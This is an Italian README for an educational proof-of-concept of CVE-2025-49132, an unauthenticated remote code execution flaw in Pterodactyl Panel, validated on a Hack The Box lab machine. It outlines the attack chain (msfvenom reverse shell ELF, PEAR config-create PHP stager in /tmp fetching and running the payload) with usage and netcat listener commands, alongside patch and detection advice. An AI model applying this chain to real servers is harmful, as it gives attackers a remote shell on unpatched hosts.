Pterodactyl Panel Locale RCE (CVE-2025-49132) — PoC Educativo
Solo per test autorizzati e apprendimento difensivo.
Questo repository è pensato per ambienti di laboratorio controllati (es. configurazioni CTF/HTB) in cui possiedi il target o hai ricevuto esplicita autorizzazione scritta per testarlo.
Contesto
Questo repository contiene un proof-of-concept Python educativo (pterodactyl_rce.py) per una vulnerabilità reale che interessa Pterodactyl Panel versioni precedenti alla v1.11.11. In configurazioni vulnerabili, un attaccante non autenticato può ottenere esecuzione remota di codice tramite l'endpoint /locales/locale.json a causa di una gestione non corretta dei parametri locale e namespace.
Questa variante del PoC è pensata per ambienti in cui PHP-PEAR è installato ed è stata costruita/validata contro la macchina ritirata di Hack The Box Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. Potrebbe funzionare anche in altri setup di laboratorio in cui sussistono le stesse condizioni.
Riferimento vulnerabilità
- Advisory GitHub: GHSA-24wv-6c99-f843 (CVE-2025-49132)
- Interessati: Pterodactyl Panel < 1.11.11
- Corretto nella: v1.11.11 (commit di patch
24c82b0…)
Idea generale (come funziona il PoC)
Ad alto livello, il PoC combina questi passaggi:
- Genera un payload ELF reverse TCP per Linux x64 con
msfvenom.
- Serve l'ELF tramite un server HTTP (una richiesta, poi esce).
- Abusa della gestione vulnerabile di
/locales/locale.json per scrivere uno "stager" PHP in /tmp (tramite un trucco con pearcmd config-create di PEAR).
- Attiva lo stager attraverso l'endpoint delle localizzazioni, così che:
- scarichi l'ELF in
/tmp,
- lo renda eseguibile,
- lo esegua per riconnettersi al tuo listener.
Lo script usa un client HTTP grezzo invece di curl per il passaggio di "upload", perché alcuni strumenti potrebbero normalizzare o codificare i caratteri in un modo che rompe la richiesta costruita.
Nota: Questo README rimane intenzionalmente a un livello difensivo/educativo. Usa il codice solo in ambienti in cui ti è consentito fare test.
Requisiti (locali)
- Python 3.10+ (testato con sola libreria standard)
msfvenom disponibile in $PATH (Metasploit Framework)
nc (netcat) se vuoi che il PoC avvii un auto-listener
- Accesso di rete tra la tua macchina di laboratorio e l'istanza Pterodactyl di laboratorio
Configurazione
Lo script attualmente si aspetta un hostname HTB del pannello nel sorgente:
host = "panel.pterodactyl.htb"
Inoltre il percorso hardcoded verso PHP-PEAR è impostato a: ../../../../../usr/share/php/PEAR.
Se stai testando al di fuori della macchina Pterodactyl, dovrai adattare questo percorso alla tua configurazione locale.
Utilizzo (solo laboratorio controllato)
1) Esecuzione base (auto-listener abilitato)
python3 pterodactyl_rce.py <LHOST> <LPORT>
<LHOST>: il tuo IP di callback raggiungibile dal server di laboratorio
<LPORT>: la porta su cui ricevere la reverse shell
2) Esecuzione senza auto-listener
Se preferisci usare un tuo listener:
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen
Poi, in un altro terminale:
nc -lvnp <LPORT>
Esempio (segnaposto)
python3 pterodactyl_rce.py 10.10.14.225 5555
Output / cosa aspettarsi
Flusso tipico:
- Genera un payload ELF (nome casuale tipo
shell_ab12cd34)
- Avvia un server HTTP one-shot su
:8080
- Crea uno stager PHP in
/tmp/<casuale>.php
- Attiva lo stager
- Rimuove il file ELF locale dopo l'attivazione
- Mostra un suggerimento per migliorare la shell (PTY)
Screenshot dello sfruttamento riuscito:

Problemi noti / Note di laboratorio
- Instabilità del laboratorio: La macchina/servizio target potrebbe essere instabile (timeout, 5xx intermittenti, esecuzione ritardata). Se un tentativo fallisce, riprova dopo una breve pausa.
- Riutilizzo di vecchi payload: L'ambiente potrebbe a volte attivare un vecchio file caricato/staged. Lo script pulisce solo un file locale sulla macchina dell'attaccante,
ma non tocca i file nella cartella
/tmp/ sulla macchina.
Soluzioni alternative:
- Esegui di nuovo con un nuovo nome casuale del payload (comportamento predefinito di questo script).
- Cambia la porta iniziale di http.server da 8080 a un'altra porta.
- Cambia la porta del tuo listener (es. 4444 → 5555) e rigenera il payload.
- Assicurati che il tuo server HTTP stia servendo il file corrente (ferma qualsiasi server/listener precedente).
- Se hai accesso, rimuovi manualmente i vecchi artefatti
/tmp/<nome>.php sul target; altrimenti, attendi un po' e riprova.
Guida difensiva (cosa correggere / come rilevare)
Patch / mitigazione
- Aggiorna a Pterodactyl Panel v1.11.11 o successivo.
- Non esiste una soluzione alternativa in-app oltre alla patch; puoi bloccare l'endpoint
/locales/locale.json a livello di web server, ma potrebbe rompere le funzionalità di localizzazione.
Idee per il rilevamento
Cerca richieste sospette come:
- Richieste a
/locales/locale.json con insolite sequenze di traversal in locale=
- Valori
namespace= anomali (nomi inaspettati, stringhe lunghe, caratteri strani)
- Creazione improvvisa di file inaspettati in
/tmp/ sull'host del pannello
Correla i log web con:
- nuovi processi avviati dall'utente
www / PHP-FPM
- connessioni in uscita verso destinazioni/porte non standard
- uso inaspettato di
curl/wget dall'host del pannello
Note sull'uso responsabile
- Non scansionare né testare istanze pubbliche.
- Se gestisci un'istanza vulnerabile, trattala come critica e applica la patch immediatamente.
Riconoscimenti / Ringraziamenti
- PoC originale: Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID: 52341, CVE-2025-49132) di Zen-kun04
https://www.exploit-db.com/exploits/52341
- Segnalatore / merito della scoperta: L'advisory GitHub attribuisce a @azimoff337 la segnalazione di GHSA-24wv-6c99-f843 / CVE-2025-49132.
- GitHub Advisory Database / processo CVE: per il tracciamento e la pubblicazione dei dettagli della vulnerabilità.
- Hack The Box (HTB): questo PoC è stato costruito/validato in un ambiente di laboratorio controllato in stile HTB per apprendimento e ricerca difensiva.
Niente spoiler per i contenuti HTB attivi.